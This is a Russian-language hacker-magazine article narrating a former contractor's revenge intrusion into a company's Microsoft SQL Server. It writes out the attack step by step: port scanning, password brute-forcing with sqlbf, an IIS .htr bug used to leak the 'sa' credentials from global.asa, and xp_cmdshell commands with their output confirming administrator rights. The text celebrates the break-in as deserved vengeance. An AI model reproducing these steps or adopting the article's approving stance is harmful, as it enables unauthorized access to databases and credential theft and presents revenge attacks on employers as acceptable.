Автор: cl_ki[ll]er Статья:Проникновение на sql-сервер. special for ][ ==================================== *** *** **** ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Что может быть болле ценным для взломщика ,чем информация ,глубоко зарытая в базу данных, какого-нить крупного сервера(или хостинга)?Инфа о сотрудниках,учётные записи юзверей,пароли, креды вот к чему стремятся многие взломщики! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Среди многих компаний ,использующих софт Мелкомягких ,в качестве средств хранения данных очень популярен сервер реляционных БД Microsoft SQL Server............................. К сожалению ,несмотря на все заботы о масштубироемости и надёжности, большинство компаний при использовании SQL-сервера упускают ключевую составляющую его стабильной работы - обеспеченя безопасности. В большинстве случаев крупные компании ошибаются в том,что они суетятся о защите ворот замков,в то время как подвалы остаются открытыми. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Один взломщик давно вынашивал мысль о жестокой мести одной крупной фирме,в которой работал 6 месяцев под видом обычного контрактного -программера.Он решил что компания должна огрести пополной ,и осознать ошибку которую сделала,вычеркнув его из ведомости,и уволив кое-кого из талантливых рабочих.Хакер был осведомлён о многих политиках внутренней безопасности компании,но так как был обычым контрактным программером, а не инженером безопасности или админом NT,он не знал всех подробностей внутренней структуры,конфига фаерволов или другой полезной инфы ,ко- отрая помогла бы ему в совершении возмездия. Чтобы не вызывать подозрений ,нашь герой восполь- зовался услугами прова и просканил порты маршрутизаторов компинии.Что бы определить диапазоны ip'шников компании,он сначала обратился к базам данных ARIN и Network Solutions ,а затем просканил их все прогой fscan-своим любимым сканнером,используя для доступа в инет свеже- созданную учётную запись.После скана наш герой начал заниматься анлизом всего полученного после сканирования. Он обнаружил около 4-ёх вэб-серваков,сервер SMTP/POP3 и какую-то программу,ожидающую подключение к 1433 порту. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Как разработчик наш герой хорошо знал,порт 1433 тспользуется для подключения к sql-серванту в библиотеке для работы с сокетами.Он запустил утилиту osql.exe ,котрая поставляется с пакетами MSDE ,и попытался подключиться с паролем ,котрый сщуествовал во время его работы в компании. C:>osql.exe -S 10.2.3.12 -U dev -P M34sdk35 Login failed for user 'dev'. Не прокатило!Админы были подготовлены заранее и сменили все пароли после его ухода,следуя политики безопасности.Его задачей было получить в свои руки учётку 'sa'- которая даёт админ- ский доступ к SQL серверу. Наш герой поискал и нашёл утилиту sqlbf котрая смогла бы помоч ему подобрать пароль.Установив и запустив её он отправился ещё за бутылочкой пивка ,с мыслью того что политика безопасности компании предпологала,что пароль должен быть очень тяжёлым... Он помнил что данные учётные записи 'sa' хранятся в файле global.asa каталога webroot.Конечно запросы через браузер обычно запрещены,но наш взломщик порылся в своей базе сплойтов и попытался использовать для получения исходного текста файла баг нескольких версий IIS+.htr. УРА!!!!!!!!!!!!! НА втором серваке на запрос была возвращена пустая страница ,но когда он посмотрел исходник паги то увидел следующее: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <SCRIPT LANGUAGE=VBScript RUNAT=Server> Sub Application_OnStart Application("ConnectionString") = "Provider=SQLOLEDB.1;Persist Security Info=True; uid=sa;pwd=m2ryh2dallteno;Initial Catalog=data;Data Source=10.2.3.12;" END SUB </SCRIPT> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Хакер не поверили своим глазам!Он тут же запустил утилиту osql и ввёл только что полученную инфу.(Имя пользователя 'sa' пароль:m2ryh2dallteno).Отлично!Он проверил сервак ,просто что бы убедиться в наличии доступа к базе пользовательских запросов(и пометил у себя в голове тоб что нужно сюда будет вернутся ....убоать за собой.)Используя процедуру xp_cmdshell он посмотрел ,какие соеденения может устанавливать сервер: C:\>osql.exe -S 10.2.3.12 -U sa -P m2ryh2dallteno -Q "xp_cmdshell 'route print' " В результате запроса он получил таблицу маршрутизации сервака,на котором находился,и понял,что эта тачка с несколькими сетевыми адаптерами ,один из которых соеденён с сетью .Естественно ,пакеты из инета не могли напрямую попасть во внутреннею сеть ,но сервер SQL должен иметь возможность устанавливать внутренние соеденения .Почему бы и нет ? Персонал обслуживания клиентов должен иметь доступ к запросам клиентов ,а значит , они должны иметь доступ к соответствующей базе.Всё шло просто кайф! Теперь взломщик должен был подтвердить свои права в для системы безопасности оперционки,он заюзал следующею команду: C:\>oqsl.exe -S 10.2.3.12 -U sa -P m2ryh2dallteno -Q "xp_cmdshell 'net config workstation '" вот что он увидел: =========================================================================== Computer name \\SQL-DMZ Full Computer name SQL-DMZ UserName Administrator Workstation active on NetbiosSmb (000000000000) NetBT_TCPip_{9F09B6FC-BBF2-4C04-8CA4-8AABFDB18DA1} (0080C77B8A3D) SoftWare version Windows 2000 Workstation domain WorkGroup Workstation domains DNS name (null) Logon domain SQL-DMZ COM Open Timeout (sec) 0 COM Send Count (byte) 16 COM Sebd Timeout (msec) 250 ============================================================================== По значению поля с именем пользователя наш герой понял ,что SQL-сервер работате с уровнем прав локального админа. Возможно ,что эта учётка пользователя с меньшими правами ,поэтому хакер вбил следующую команду которая неостваила за собой ни каких сомнений: ================================================================================================== C:\>oqsl.exe -S 10.2.3.12 -U sa -P m2ryh2dallteno -Q "xp_cmdshell 'net localgroup administrators'" ================================================================================================== в ответ получил : Alias name administrators Comment Administrators have complete and unrestricted acces to the computer/domain Members --------------------------------------------------------------------------------------------- Administrator The command completed sucessfully. ==================================================================================================== Теперь наш взломщик точно знал ,что эта учётная запись состоит в группе локальных админов и не является подставой для взломщика типа него.С таким уровнем прав которые получил нашь взломщик ,ему ни что неперекрывает кислород внутри системы. Итак,урон нанесён ,возмездие свершилось!!!!! Мораль : Бойся мести ! удачи всем!............